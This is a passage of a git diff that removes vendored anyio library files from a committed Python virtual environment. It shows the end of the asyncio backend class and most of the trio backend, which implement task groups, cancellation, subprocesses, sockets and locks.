_task_states[task].cancel_scope - except KeyError: - return math.inf - - deadline = math.inf - while cancel_scope: - deadline = min(deadline, cancel_scope.deadline) - if cancel_scope._cancel_called: - deadline = -math.inf - break - elif cancel_scope.shield: - break - else: - cancel_scope = cancel_scope._parent_scope - - return deadline - - @classmethod - def create_task_group(cls) -> abc.TaskGroup: - return TaskGroup() - - @classmethod - def create_event(cls) -> abc.Event: - return Event() - - @classmethod - def create_lock(cls, *, fast_acquire: bool) -> abc.Lock: - return Lock(fast_acquire=fast_acquire) - - @classmethod - def create_semaphore( - cls, - initial_value: int, - *, - max_value: int | None = None, - fast_acquire: bool = False, - ) -> abc.Semaphore: - return Semaphore(initial_value, max_value=max_value, fast_acquire=fast_acquire) - - @classmethod - def create_capacity_limiter(cls, total_tokens: float) -> abc.CapacityLimiter: - return CapacityLimiter(total_tokens) - - @classmethod - async def run_sync_in_worker_thread( # type: ignore[return] - cls, - func: Callable[[Unpack[PosArgsT]], T_Retval], - args: tuple[Unpack[PosArgsT]], - abandon_on_cancel: bool = False, - limiter: abc.CapacityLimiter | None = None, - ) -> T_Retval: - await cls.checkpoint() - - # If this is the first run in this event loop thread, set up the necessary - # variables - try: - idle_workers = _threadpool_idle_workers.get() - workers = _threadpool_workers.get() - except LookupError: - idle_workers = deque() - workers = set() - _threadpool_idle_workers.set(idle_workers) - _threadpool_workers.set(workers) - - async with limiter or cls.current_default_thread_limiter(): - with CancelScope(shield=not abandon_on_cancel) as scope: - future = asyncio.Future[T_Retval]() - root_task = find_root_task() - if not idle_workers: - worker = WorkerThread(root_task, workers, idle_workers) - worker.start() - workers.add(worker) - root_task.add_done_callback( - worker.stop, context=contextvars.Context() - ) - else: - worker = idle_workers.pop() - - # Prune any other workers that have been idle for MAX_IDLE_TIME - # seconds or longer - now = cls.current_time() - while idle_workers: - if ( - now - idle_workers[0].idle_since - < WorkerThread.MAX_IDLE_TIME - ): - break - - expired_worker = idle_workers.popleft() - expired_worker.root_task.remove_done_callback( - expired_worker.stop - ) - expired_worker.stop() - - context = copy_context() - context.run(set_current_async_library, None) - if abandon_on_cancel or scope._parent_scope is None: - worker_scope = scope - else: - worker_scope = scope._parent_scope - - worker.queue.put_nowait((context, func, args, future, worker_scope)) - return await future - - @classmethod - def check_cancelled(cls) -> None: - scope: CancelScope | None = threadlocals.current_cancel_scope - while scope is not None: - if scope.cancel_called: - raise CancelledError(f"Cancelled via cancel scope {id(scope):x}") - - if scope.shield: - return - - scope = scope._parent_scope - - @classmethod - def run_async_from_thread( - cls, - func: Callable[[Unpack[PosArgsT]], Coroutine[Any, Any, T_co]], - args: tuple[Unpack[PosArgsT]], - token: object, - ) -> T_co: - async def task_wrapper() -> T_co: - __tracebackhide__ = True - if scope is not None: - task = cast(asyncio.Task, current_task()) - _task_states[task] = TaskState(None, scope) - scope._tasks.add(task) - try: - return await func(*args) - except CancelledError as exc: - raise concurrent.futures.CancelledError(str(exc)) from None - finally: - if scope is not None: - scope._tasks.discard(task) - - loop = cast( - "AbstractEventLoop", token or threadlocals.current_token.native_token - ) - if loop.is_closed(): - raise RunFinishedError - - context = copy_context() - context.run(set_current_async_library, "asyncio") - scope = getattr(threadlocals, "current_cancel_scope", None) - f: concurrent.futures.Future[T_co] = context.run( - asyncio.run_coroutine_threadsafe, task_wrapper(), loop=loop - ) - return f.result() - - @classmethod - def run_sync_from_thread( - cls, - func: Callable[[Unpack[PosArgsT]], T_Retval], - args: tuple[Unpack[PosArgsT]], - token: object, - ) -> T_Retval: - @wraps(func) - def wrapper() -> None: - try: - set_current_async_library("asyncio") - f.set_result(func(*args)) - except BaseException as exc: - f.set_exception(exc) - if not isinstance(exc, Exception): - raise - - loop = cast( - "AbstractEventLoop", token or threadlocals.current_token.native_token - ) - if loop.is_closed(): - raise RunFinishedError - - f: concurrent.futures.Future[T_Retval] = Future() - loop.call_soon_threadsafe(wrapper) - return f.result() - - @classmethod - async def open_process( - cls, - command: StrOrBytesPath | Sequence[StrOrBytesPath], - *, - stdin: int | IO[Any] | None, - stdout: int | IO[Any] | None, - stderr: int | IO[Any] | None, - **kwargs: Any, - ) -> Process: - await cls.checkpoint() - if isinstance(command, PathLike): - command = os.fspath(command) - - # Use loop.subprocess_shell()/subprocess_exec() rather than their - # asyncio.create_subprocess_*() counterparts to get access to - # transport/protocol. - loop = asyncio.get_running_loop() - if isinstance(command, (str, bytes)): - transport, protocol = await loop.subprocess_shell( - _ProcessStreamProtocol, - command, - stdin=stdin, - stdout=stdout, - stderr=stderr, - **kwargs, - ) - else: - transport, protocol = await loop.subprocess_exec( - _ProcessStreamProtocol, - *command, - stdin=stdin, - stdout=stdout, - stderr=stderr, - **kwargs, - ) - - process = asyncio.subprocess.Process(transport, protocol, loop) - stdin_stream = StreamWriterWrapper(process.stdin) if process.stdin else None - stdout_stream = StreamReaderWrapper(process.stdout) if process.stdout else None - stderr_stream = StreamReaderWrapper(process.stderr) if process.stderr else None - return Process( - process, - stdin_stream, - stdout_stream, - stderr_stream, - protocol.exited, - transport, - ) - - @classmethod - def setup_process_pool_exit_at_shutdown(cls, workers: set[abc.Process]) -> None: - create_task( - _shutdown_process_pool_on_exit(workers), - name="AnyIO process pool shutdown task", - ) - find_root_task().add_done_callback( - partial(_forcibly_shutdown_process_pool_on_exit, workers) # type:ignore[arg-type] - ) - - @classmethod - async def connect_tcp( - cls, host: str, port: int, local_address: IPSockAddrType | None = None - ) -> abc.SocketStream: - transport, protocol = cast( - tuple[asyncio.Transport, StreamProtocol], - await get_running_loop().create_connection( - StreamProtocol, host, port, local_addr=local_address - ), - ) - transport.pause_reading() - return SocketStream(transport, protocol) - - @classmethod - async def connect_unix(cls, path: str | bytes) -> abc.UNIXSocketStream: - await cls.checkpoint() - loop = get_running_loop() - raw_socket = socket.socket(socket.AF_UNIX) - raw_socket.setblocking(False) - while True: - try: - raw_socket.connect(path) - except BlockingIOError: - f: asyncio.Future = asyncio.Future() - loop.add_writer(raw_socket, f.set_result, None) - f.add_done_callback(lambda _: loop.remove_writer(raw_socket)) - await f - except BaseException: - raw_socket.close() - raise - else: - return UNIXSocketStream(raw_socket) - - @classmethod - def create_tcp_listener(cls, sock: socket.socket) -> SocketListener: - return TCPSocketListener(sock) - - @classmethod - def create_unix_listener(cls, sock: socket.socket) -> SocketListener: - return UNIXSocketListener(sock) - - @classmethod - async def create_udp_socket( - cls, - family: AddressFamily, - local_address: IPSockAddrType | None, - remote_address: IPSockAddrType | None, - reuse_port: bool, - ) -> UDPSocket | ConnectedUDPSocket: - transport, protocol = await get_running_loop().create_datagram_endpoint( - DatagramProtocol, - local_addr=local_address, - remote_addr=remote_address, - family=family, - reuse_port=reuse_port, - ) - if protocol.exception: - transport.close() - raise protocol.exception - - if not remote_address: - return UDPSocket(transport, protocol) - else: - return ConnectedUDPSocket(transport, protocol) - - @classmethod - async def create_unix_datagram_socket( # type: ignore[override] - cls, raw_socket: socket.socket, remote_path: str | bytes | None - ) -> abc.UNIXDatagramSocket | abc.ConnectedUNIXDatagramSocket: - await cls.checkpoint() - loop = get_running_loop() - - if remote_path: - while True: - try: - raw_socket.connect(remote_path) - except BlockingIOError: - f: asyncio.Future = asyncio.Future() - loop.add_writer(raw_socket, f.set_result, None) - f.add_done_callback(lambda _: loop.remove_writer(raw_socket)) - await f - except BaseException: - raw_socket.close() - raise - else: - return ConnectedUNIXDatagramSocket(raw_socket) - else: - return UNIXDatagramSocket(raw_socket) - - @classmethod - async def getaddrinfo( - cls, - host: bytes | str | None, - port: str | int | None, - *, - family: int | AddressFamily = 0, - type: int | SocketKind = 0, - proto: int = 0, - flags: int = 0, - ) -> Sequence[ - tuple[ - AddressFamily, - SocketKind, - int, - str, - tuple[str, int] | tuple[str, int, int, int] | tuple[int, bytes], - ] - ]: - return await get_running_loop().getaddrinfo( - host, port, family=family, type=type, proto=proto, flags=flags - ) - - @classmethod - async def getnameinfo( - cls, sockaddr: IPSockAddrType, flags: int = 0 - ) -> tuple[str, str]: - return await get_running_loop().getnameinfo(sockaddr, flags) - - @classmethod - async def wait_readable(cls, obj: FileDescriptorLike) -> None: - try: - read_events = _read_events.get() - except LookupError: - read_events = {} - _read_events.set(read_events) - - fd = obj if isinstance(obj, int) else obj.fileno() - if read_events.get(fd): - raise BusyResourceError("reading from") - - loop = get_running_loop() - fut: asyncio.Future[bool] = loop.create_future() - - def cb() -> None: - try: - del read_events[fd] - except KeyError: - pass - else: - remove_reader(fd) - - try: - fut.set_result(True) - except asyncio.InvalidStateError: - pass - - try: - loop.add_reader(fd, cb) - except NotImplementedError: - from anyio._core._asyncio_selector_thread import get_selector - - selector = get_selector() - selector.add_reader(fd, cb) - remove_reader = selector.remove_reader - else: - remove_reader = loop.remove_reader - - read_events[fd] = fut - try: - success = await fut - finally: - try: - del read_events[fd] - except KeyError: - pass - else: - remove_reader(fd) - - if not success: - raise ClosedResourceError - - @classmethod - async def wait_writable(cls, obj: FileDescriptorLike) -> None: - try: - write_events = _write_events.get() - except LookupError: - write_events = {} - _write_events.set(write_events) - - fd = obj if isinstance(obj, int) else obj.fileno() - if write_events.get(fd): - raise BusyResourceError("writing to") - - loop = get_running_loop() - fut: asyncio.Future[bool] = loop.create_future() - - def cb() -> None: - try: - del write_events[fd] - except KeyError: - pass - else: - remove_writer(fd) - - try: - fut.set_result(True) - except asyncio.InvalidStateError: - pass - - try: - loop.add_writer(fd, cb) - except NotImplementedError: - from anyio._core._asyncio_selector_thread import get_selector - - selector = get_selector() - selector.add_writer(fd, cb) - remove_writer = selector.remove_writer - else: - remove_writer = loop.remove_writer - - write_events[fd] = fut - try: - success = await fut - finally: - try: - del write_events[fd] - except KeyError: - pass - else: - remove_writer(fd) - - if not success: - raise ClosedResourceError - - @classmethod - def notify_closing(cls, obj: FileDescriptorLike) -> None: - fd = obj if isinstance(obj, int) else obj.fileno() - loop = get_running_loop() - - try: - write_events = _write_events.get() - except LookupError: - pass - else: - try: - fut = write_events.pop(fd) - except KeyError: - pass - else: - try: - fut.set_result(False) - except asyncio.InvalidStateError: - pass - - try: - loop.remove_writer(fd) - except NotImplementedError: - from anyio._core._asyncio_selector_thread import get_selector - - get_selector().remove_writer(fd) - - try: - read_events = _read_events.get() - except LookupError: - pass - else: - try: - fut = read_events.pop(fd) - except KeyError: - pass - else: - try: - fut.set_result(False) - except asyncio.InvalidStateError: - pass - - try: - loop.remove_reader(fd) - except NotImplementedError: - from anyio._core._asyncio_selector_thread import get_selector - - get_selector().remove_reader(fd) - - @classmethod - async def wrap_listener_socket(cls, sock: socket.socket) -> SocketListener: - if hasattr(socket, "AF_UNIX") and sock.family == socket.AF_UNIX: - return UNIXSocketListener(sock) - - return TCPSocketListener(sock) - - @classmethod - async def wrap_stream_socket(cls, sock: socket.socket) -> SocketStream: - transport, protocol = await get_running_loop().create_connection( - StreamProtocol, sock=sock - ) - return SocketStream(transport, protocol) - - @classmethod - async def wrap_unix_stream_socket(cls, sock: socket.socket) -> UNIXSocketStream: - return UNIXSocketStream(sock) - - @classmethod - async def wrap_udp_socket(cls, sock: socket.socket) -> UDPSocket: - transport, protocol = await get_running_loop().create_datagram_endpoint( - DatagramProtocol, sock=sock - ) - return UDPSocket(transport, protocol) - - @classmethod - async def wrap_connected_udp_socket(cls, sock: socket.socket) -> ConnectedUDPSocket: - transport, protocol = await get_running_loop().create_datagram_endpoint( - DatagramProtocol, sock=sock - ) - return ConnectedUDPSocket(transport, protocol) - - @classmethod - async def wrap_unix_datagram_socket(cls, sock: socket.socket) -> UNIXDatagramSocket: - return UNIXDatagramSocket(sock) - - @classmethod - async def wrap_connected_unix_datagram_socket( - cls, sock: socket.socket - ) -> ConnectedUNIXDatagramSocket: - return ConnectedUNIXDatagramSocket(sock) - - @classmethod - def current_default_thread_limiter(cls) -> CapacityLimiter: - try: - return _default_thread_limiter.get() - except LookupError: - limiter = CapacityLimiter(40) - _default_thread_limiter.set(limiter) - return limiter - - @classmethod - def open_signal_receiver( - cls, *signals: Signals - ) -> AbstractContextManager[AsyncIterator[Signals]]: - return _SignalReceiver(signals) - - @classmethod - def get_current_task(cls) -> TaskInfo: - return AsyncIOTaskInfo(current_task()) # type: ignore[arg-type] - - @classmethod - def get_running_tasks(cls) -> Sequence[TaskInfo]: - return [AsyncIOTaskInfo(task) for task in all_tasks() if not task.done()] - - @classmethod - async def wait_all_tasks_blocked(cls) -> None: - await cls.checkpoint() - this_task = current_task() - while True: - for task in all_tasks(): - if task is this_task: - continue - - waiter = task._fut_waiter # type: ignore[attr-defined] - if waiter is None or waiter.done(): - await sleep(0.1) - break - else: - return - - @classmethod - def create_test_runner(cls, options: dict[str, Any]) -> TestRunner: - return TestRunner(**options) - - -backend_class = AsyncIOBackend diff --git a/venv/Lib/site-packages/anyio/_backends/_trio.py b/venv/Lib/site-packages/anyio/_backends/_trio.py deleted file mode 100644 index 43d24d23315322eef2df539d5d959b66fc1e2dbb..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/_backends/_trio.py +++ /dev/null @@ -1,1468 +0,0 @@ -from __future__ import annotations - -import array -import math -import os -import socket -import sys -import types -import weakref -from collections.abc import ( - AsyncGenerator, - AsyncIterator, - Awaitable, - Callable, - Collection, - Coroutine, - Iterable, - Sequence, -) -from contextlib import AbstractContextManager -from contextvars import Context -from dataclasses import dataclass -from functools import partial, wraps -from io import IOBase -from os import PathLike -from signal import Signals -from socket import AddressFamily, SocketKind -from types import TracebackType -from typing import ( - IO, - TYPE_CHECKING, - Any, - Generic, - Literal, - NoReturn, - ParamSpec, - TypeVar, - cast, - overload, -) - -import trio.from_thread -import trio.lowlevel -from outcome import Error, Outcome, Value -from trio.lowlevel import ( - current_root_task, - current_task, - notify_closing, - wait_readable, - wait_writable, -) -from trio.socket import SocketType as TrioSocketType -from trio.to_thread import run_sync - -from .. import ( - CapacityLimiterStatistics, - EventStatistics, - LockStatistics, - RunFinishedError, - TaskInfo, - WouldBlock, - abc, -) -from .._core._eventloop import claim_worker_thread -from .._core._exceptions import ( - BrokenResourceError, - BusyResourceError, - ClosedResourceError, - EndOfStream, -) -from .._core._sockets import convert_ipv6_sockaddr -from .._core._streams import create_memory_object_stream -from .._core._synchronization import ( - CapacityLimiter as BaseCapacityLimiter, -) -from .._core._synchronization import Event as BaseEvent -from .._core._synchronization import Lock as BaseLock -from .._core._synchronization import ( - ResourceGuard, - SemaphoreStatistics, -) -from .._core._synchronization import Semaphore as BaseSemaphore -from .._core._tasks import CancelScope as BaseCancelScope -from .._core._tasks import TaskHandle -from ..abc import IPSockAddrType, UDPPacketType, UNIXDatagramPacketType -from ..abc._eventloop import AsyncBackend, StrOrBytesPath -from ..abc._tasks import T_contra, call_for_coroutine, get_callable_name -from ..streams.memory import MemoryObjectSendStream - -if TYPE_CHECKING: - from _typeshed import FileDescriptorLike - -if sys.version_info >= (3, 11): - from typing import TypeVarTuple, Unpack -else: - from exceptiongroup import BaseExceptionGroup - from typing_extensions import TypeVarTuple, Unpack - -T = TypeVar("T") -T_Retval = TypeVar("T_Retval") -T_co = TypeVar("T_co", covariant=True) -T_SockAddr = TypeVar("T_SockAddr", str, IPSockAddrType) -PosArgsT = TypeVarTuple("PosArgsT") -P = ParamSpec("P") - - -def ensure_returns_coro( - func: Callable[P, Awaitable[T_Retval]], -) -> Callable[P, Coroutine[Any, Any, T_Retval]]: - @wraps(func) - def wrapper(*args: P.args, **kwargs: P.kwargs) -> Coroutine[Any, Any, T_Retval]: - awaitable = func(*args, **kwargs) - # Check the common case first. - if isinstance(awaitable, Coroutine): - return awaitable - elif not isinstance(awaitable, Awaitable): - # The user violated the type annotations. Still, we should pass this on to - # Trio so it can raise with an appropriate message. - return awaitable - else: - - @wraps(func) - async def inner_wrapper() -> T_Retval: - return await awaitable - - return inner_wrapper() - - return wrapper - - -# -# Event loop -# - -RunVar = trio.lowlevel.RunVar - - -# -# Timeouts and cancellation -# - - -class CancelScope(BaseCancelScope): - __slots__ = ("__original",) - - def __new__( - cls, original: trio.CancelScope | None = None, **kwargs: object - ) -> CancelScope: - return object.__new__(cls) - - def __init__(self, original: trio.CancelScope | None = None, **kwargs: Any) -> None: - self.__original = original or trio.CancelScope(**kwargs) - - def __enter__(self) -> CancelScope: - self.__original.__enter__() - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> bool: - return self.__original.__exit__(exc_type, exc_val, exc_tb) - - def cancel(self, reason: str | None = None) -> None: - self.__original.cancel(reason) - - @property - def deadline(self) -> float: - return self.__original.deadline - - @deadline.setter - def deadline(self, value: float) -> None: - self.__original.deadline = value - - @property - def cancel_called(self) -> bool: - return self.__original.cancel_called - - @property - def cancelled_caught(self) -> bool: - return self.__original.cancelled_caught - - @property - def shield(self) -> bool: - return self.__original.shield - - @shield.setter - def shield(self, value: bool) -> None: - self.__original.shield = value - - -# -# Task groups -# - -empty_start_value = object() - - -class _TrioTaskStatus(Generic[T_contra], abc.TaskStatus[T_contra]): - early_start_value: T_contra | object = empty_start_value - real_task_status: trio.TaskStatus[T_contra | None] | None = None - - def started(self, value: T_contra | None = None) -> None: - if self.real_task_status is None: - if self.early_start_value is not empty_start_value: - raise RuntimeError("called 'started' twice on the same task status") - - self.early_start_value = value - else: - self.real_task_status.started(value) - - -class TaskGroup(abc.TaskGroup): - def __init__(self) -> None: - self._entered = False - self._active = False - self._nursery_manager = trio.open_nursery(strict_exception_groups=True) - self.cancel_scope = None # type: ignore[assignment] - - async def __aenter__(self) -> TaskGroup: - if self._entered: - raise RuntimeError("TaskGroup cannot be entered more than once") - - self._entered = True - self._active = True - self._nursery = await self._nursery_manager.__aenter__() - self.cancel_scope = CancelScope(self._nursery.cancel_scope) - return self - - async def __aexit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> bool: - try: - # trio.Nursery.__exit__ returns bool; .open_nursery has wrong type - return await self._nursery_manager.__aexit__(exc_type, exc_val, exc_tb) # type: ignore[return-value] - except BaseExceptionGroup as exc: - if not exc.split(trio.Cancelled)[1]: - raise trio.Cancelled._create() from exc - - raise - finally: - del exc_val, exc_tb - self._active = False - - def _check_active(self, coro: Coroutine | None = None) -> None: - if not self._active: - if coro is not None: - coro.close() - - raise RuntimeError( - "This task group is not active; no new tasks can be started." - ) - - def create_task( - self, - coro: Coroutine[Any, Any, T_co], - *, - name: object = None, - context: Context | None = None, - ) -> TaskHandle[T_co]: - if not isinstance(coro, Coroutine): - raise TypeError(f"expected a coroutine, got {coro.__class__.__qualname__}") - - self._check_active(coro) - handle = TaskHandle(coro, name) - if context is not None: - context.run( - partial(self._nursery.start_soon, handle._run_coro, name=handle.name) - ) - else: - self._nursery.start_soon(handle._run_coro, name=handle.name) - - return handle - - async def start( - self, - func: Callable[[Unpack[PosArgsT]], Coroutine[Any, Any, T_co]], - *args: Unpack[PosArgsT], - name: object = None, - return_handle: Literal[False] | Literal[True] = False, - ) -> Any: - handle: TaskHandle[T_co] - - async def run_coro_with_task_status( - *, task_status: trio.TaskStatus[Any] - ) -> None: - nonlocal handle - wrapper_task_status = _TrioTaskStatus() - coro = call_for_coroutine(func, args, task_status=wrapper_task_status) - if wrapper_task_status.early_start_value is not empty_start_value: - task_status.started(wrapper_task_status.early_start_value) - else: - wrapper_task_status.real_task_status = task_status - - handle = TaskHandle(coro, name) - await handle._run_coro() - - self._check_active() - final_name = get_callable_name(func, name) - start_value = await self._nursery.start( - run_coro_with_task_status, name=final_name - ) - if return_handle: - handle._start_value = start_value - return handle - else: - return start_value - - -# -# Subprocesses -# - - -@dataclass(eq=False) -class ReceiveStreamWrapper(abc.ByteReceiveStream): - _stream: trio.abc.ReceiveStream - - async def receive(self, max_bytes: int | None = None) -> bytes: - if max_bytes is not None and max_bytes < 1: - raise ValueError("max_bytes must be a positive integer") - - try: - data = await self._stream.receive_some(max_bytes) - except trio.ClosedResourceError as exc: - raise ClosedResourceError from exc.__cause__ - except trio.BrokenResourceError as exc: - raise BrokenResourceError from exc.__cause__ - - if data: - return bytes(data) - else: - raise EndOfStream - - async def aclose(self) -> None: - await self._stream.aclose() - - -@dataclass(eq=False) -class SendStreamWrapper(abc.ByteSendStream): - _stream: trio.abc.SendStream - - async def send(self, item: bytes) -> None: - try: - await self._stream.send_all(item) - except trio.ClosedResourceError as exc: - raise ClosedResourceError from exc.__cause__ - except trio.BrokenResourceError as exc: - raise BrokenResourceError from exc.__cause__ - - async def aclose(self) -> None: - await self._stream.aclose() - - -@dataclass(eq=False) -class Process(abc.Process): - _process: trio.Process - _stdin: abc.ByteSendStream | None - _stdout: abc.ByteReceiveStream | None - _stderr: abc.ByteReceiveStream | None - - async def aclose(self) -> None: - with CancelScope(shield=True): - if self._stdin: - await self._stdin.aclose() - if self._stdout: - await self._stdout.aclose() - if self._stderr: - await self._stderr.aclose() - - try: - await self.wait() - except BaseException: - self.kill() - with CancelScope(shield=True): - await self.wait() - raise - - async def wait(self) -> int: - return await self._process.wait() - - def terminate(self) -> None: - self._process.terminate() - - def kill(self) -> None: - self._process.kill() - - def send_signal(self, signal: Signals) -> None: - self._process.send_signal(signal) - - @property - def pid(self) -> int: - return self._process.pid - - @property - def returncode(self) -> int | None: - return self._process.returncode - - @property - def stdin(self) -> abc.ByteSendStream | None: - return self._stdin - - @property - def stdout(self) -> abc.ByteReceiveStream | None: - return self._stdout - - @property - def stderr(self) -> abc.ByteReceiveStream | None: - return self._stderr - - -class _ProcessPoolShutdownInstrument(trio.abc.Instrument): - def after_run(self) -> None: - super().after_run() - - -current_default_worker_process_limiter: trio.lowlevel.RunVar = RunVar( - "current_default_worker_process_limiter" -) - - -async def _shutdown_process_pool(workers: set[abc.Process]) -> None: - try: - await trio.sleep(math.inf) - except trio.Cancelled: - for process in workers: - if process.returncode is None: - process.kill() - - with CancelScope(shield=True): - for process in workers: - await process.aclose() - - -# -# Sockets and networking -# - - -class _TrioSocketMixin(Generic[T_SockAddr]): - def __init__(self, trio_socket: TrioSocketType) -> None: - self._trio_socket = trio_socket - self._closed = False - - def _check_closed(self) -> None: - if self._closed: - raise ClosedResourceError - if self._trio_socket.fileno() < 0: - raise BrokenResourceError - - @property - def _raw_socket(self) -> socket.socket: - return self._trio_socket._sock # type: ignore[attr-defined] - - async def aclose(self) -> None: - if self._trio_socket.fileno() >= 0: - self._closed = True - self._trio_socket.close() - - def _convert_socket_error(self, exc: BaseException) -> NoReturn: - if isinstance(exc, trio.ClosedResourceError): - raise ClosedResourceError from exc - elif self._trio_socket.fileno() < 0 and self._closed: - raise ClosedResourceError from None - elif isinstance(exc, OSError): - raise BrokenResourceError from exc - else: - raise exc - - -class SocketStream(_TrioSocketMixin, abc.SocketStream): - def __init__(self, trio_socket: TrioSocketType) -> None: - super().__init__(trio_socket) - self._receive_guard = ResourceGuard("reading from") - self._send_guard = ResourceGuard("writing to") - - async def receive(self, max_bytes: int = 65536) -> bytes: - if max_bytes < 1: - raise ValueError("max_bytes must be a positive integer") - - with self._receive_guard: - try: - data = await self._trio_socket.recv(max_bytes) - except BaseException as exc: - self._convert_socket_error(exc) - - if data: - return data - else: - raise EndOfStream - - async def send(self, item: bytes) -> None: - with self._send_guard: - view = memoryview(item) - while view: - try: - bytes_sent = await self._trio_socket.send(view) - except BaseException as exc: - self._convert_socket_error(exc) - - view = view[bytes_sent:] - - async def send_eof(self) -> None: - self._trio_socket.shutdown(socket.SHUT_WR) - - -class UNIXSocketStream(SocketStream, abc.UNIXSocketStream): - async def receive_fds(self, msglen: int, maxfds: int) -> tuple[bytes, list[int]]: - if not isinstance(msglen, int) or msglen < 0: - raise ValueError("msglen must be a non-negative integer") - if not isinstance(maxfds, int) or maxfds < 1: - raise ValueError("maxfds must be a positive integer") - - fds = array.array("i") - await trio.lowlevel.checkpoint() - with self._receive_guard: - while True: - try: - message, ancdata, flags, addr = await self._trio_socket.recvmsg( - msglen, socket.CMSG_LEN(maxfds * fds.itemsize) - ) - except BaseException as exc: - self._convert_socket_error(exc) - else: - if not message and not ancdata: - raise EndOfStream - - break - - for cmsg_level, cmsg_type, cmsg_data in ancdata: - if cmsg_level != socket.SOL_SOCKET or cmsg_type != socket.SCM_RIGHTS: - raise RuntimeError( - f"Received unexpected ancillary data; message = {message!r}, " - f"cmsg_level = {cmsg_level}, cmsg_type = {cmsg_type}" - ) - - fds.frombytes(cmsg_data[: len(cmsg_data) - (len(cmsg_data) % fds.itemsize)]) - - return message, list(fds) - - async def send_fds(self, message: bytes, fds: Collection[int | IOBase]) -> None: - if not message: - raise ValueError("message must not be empty") - if not fds: - raise ValueError("fds must not be empty") - - filenos: list[int] = [] - for fd in fds: - if isinstance(fd, int): - filenos.append(fd) - elif isinstance(fd, IOBase): - filenos.append(fd.fileno()) - - fdarray = array.array("i", filenos) - await trio.lowlevel.checkpoint() - with self._send_guard: - while True: - try: - await self._trio_socket.sendmsg( - [message], - [ - ( - socket.SOL_SOCKET, - socket.SCM_RIGHTS, - fdarray, - ) - ], - ) - break - except BaseException as exc: - self._convert_socket_error(exc) - - -class TCPSocketListener(_TrioSocketMixin, abc.SocketListener): - def __init__(self, raw_socket: socket.socket): - super().__init__(trio.socket.from_stdlib_socket(raw_socket)) - self._accept_guard = ResourceGuard("accepting connections from") - - async def accept(self) -> SocketStream: - with self._accept_guard: - try: - trio_socket, _addr = await self._trio_socket.accept() - except BaseException as exc: - self._convert_socket_error(exc) - - trio_socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) - return SocketStream(trio_socket) - - -class UNIXSocketListener(_TrioSocketMixin, abc.SocketListener): - def __init__(self, raw_socket: socket.socket): - super().__init__(trio.socket.from_stdlib_socket(raw_socket)) - self._accept_guard = ResourceGuard("accepting connections from") - - async def accept(self) -> UNIXSocketStream: - with self._accept_guard: - try: - trio_socket, _addr = await self._trio_socket.accept() - except BaseException as exc: - self._convert_socket_error(exc) - - return UNIXSocketStream(trio_socket) - - -class UDPSocket(_TrioSocketMixin[IPSockAddrType], abc.UDPSocket): - def __init__(self, trio_socket: TrioSocketType) -> None: - super().__init__(trio_socket) - self._receive_guard = ResourceGuard("reading from") - self._send_guard = ResourceGuard("writing to") - - async def receive(self) -> tuple[bytes, IPSockAddrType]: - with self._receive_guard: - try: - data, addr = await self._trio_socket.recvfrom(65536) - return data, convert_ipv6_sockaddr(addr) - except BaseException as exc: - self._convert_socket_error(exc) - - async def send(self, item: UDPPacketType) -> None: - with self._send_guard: - try: - await self._trio_socket.sendto(*item) - except BaseException as exc: - self._convert_socket_error(exc) - - -class ConnectedUDPSocket(_TrioSocketMixin[IPSockAddrType], abc.ConnectedUDPSocket): - def __init__(self, trio_socket: TrioSocketType) -> None: - super().__init__(trio_socket) - self._receive_guard = ResourceGuard("reading from") - self._send_guard = ResourceGuard("writing to") - - async def receive(self) -> bytes: - with self._receive_guard: - try: - return await self._trio_socket.recv(65536) - except BaseException as exc: - self._convert_socket_error(exc) - - async def send(self, item: bytes) -> None: - with self._send_guard: - try: - await self._trio_socket.send(item) - except BaseException as exc: - self._convert_socket_error(exc) - - -class UNIXDatagramSocket(_TrioSocketMixin[str], abc.UNIXDatagramSocket): - def __init__(self, trio_socket: TrioSocketType) -> None: - super().__init__(trio_socket) - self._receive_guard = ResourceGuard("reading from") - self._send_guard = ResourceGuard("writing to") - - async def receive(self) -> UNIXDatagramPacketType: - with self._receive_guard: - try: - data, addr = await self._trio_socket.recvfrom(65536) - return data, addr - except BaseException as exc: - self._convert_socket_error(exc) - - async def send(self, item: UNIXDatagramPacketType) -> None: - with self._send_guard: - try: - await self._trio_socket.sendto(*item) - except BaseException as exc: - self._convert_socket_error(exc) - - -class ConnectedUNIXDatagramSocket( - _TrioSocketMixin[str], abc.ConnectedUNIXDatagramSocket -): - def __init__(self, trio_socket: TrioSocketType) -> None: - super().__init__(trio_socket) - self._receive_guard = ResourceGuard("reading from") - self._send_guard = ResourceGuard("writing to") - - async def receive(self) -> bytes: - with self._receive_guard: - try: - return await self._trio_socket.recv(65536) - except BaseException as exc: - self._convert_socket_error(exc) - - async def send(self, item: bytes) -> None: - with self._send_guard: - try: - await self._trio_socket.send(item) - except BaseException as exc: - self._convert_socket_error(exc) - - -# -# Synchronization -# - - -class Event(BaseEvent): - __slots__ = ("__original",) - - def __new__(cls) -> Event: - return object.__new__(cls) - - def __init__(self) -> None: - self.__original = trio.Event() - - def is_set(self) -> bool: - return self.__original.is_set() - - async def wait(self) -> None: - return await self.__original.wait() - - def statistics(self) -> EventStatistics: - orig_statistics = self.__original.statistics() - return EventStatistics(tasks_waiting=orig_statistics.tasks_waiting) - - def set(self) -> None: - self.__original.set() - - -class Lock(BaseLock): - __slots__ = "_fast_acquire", "__original" - - def __new__(cls, *, fast_acquire: bool = False) -> Lock: - return object.__new__(cls) - - def __init__(self, *, fast_acquire: bool = False) -> None: - self._fast_acquire = fast_acquire - self.__original = trio.Lock() - - @staticmethod - def _convert_runtime_error_msg(exc: RuntimeError) -> None: - if exc.args == ("attempt to re-acquire an already held Lock",): - exc.args = ("Attempted to acquire an already held Lock",) - - async def acquire(self) -> None: - if not self._fast_acquire: - try: - await self.__original.acquire() - except RuntimeError as exc: - self._convert_runtime_error_msg(exc) - raise - - return - - # This is the "fast path" where we don't let other tasks run - await trio.lowlevel.checkpoint_if_cancelled() - try: - self.__original.acquire_nowait() - except trio.WouldBlock: - await self.__original._lot.park() - except RuntimeError as exc: - self._convert_runtime_error_msg(exc) - raise - - def acquire_nowait(self) -> None: - try: - self.__original.acquire_nowait() - except trio.WouldBlock: - raise WouldBlock from None - except RuntimeError as exc: - self._convert_runtime_error_msg(exc) - raise - - def locked(self) -> bool: - return self.__original.locked() - 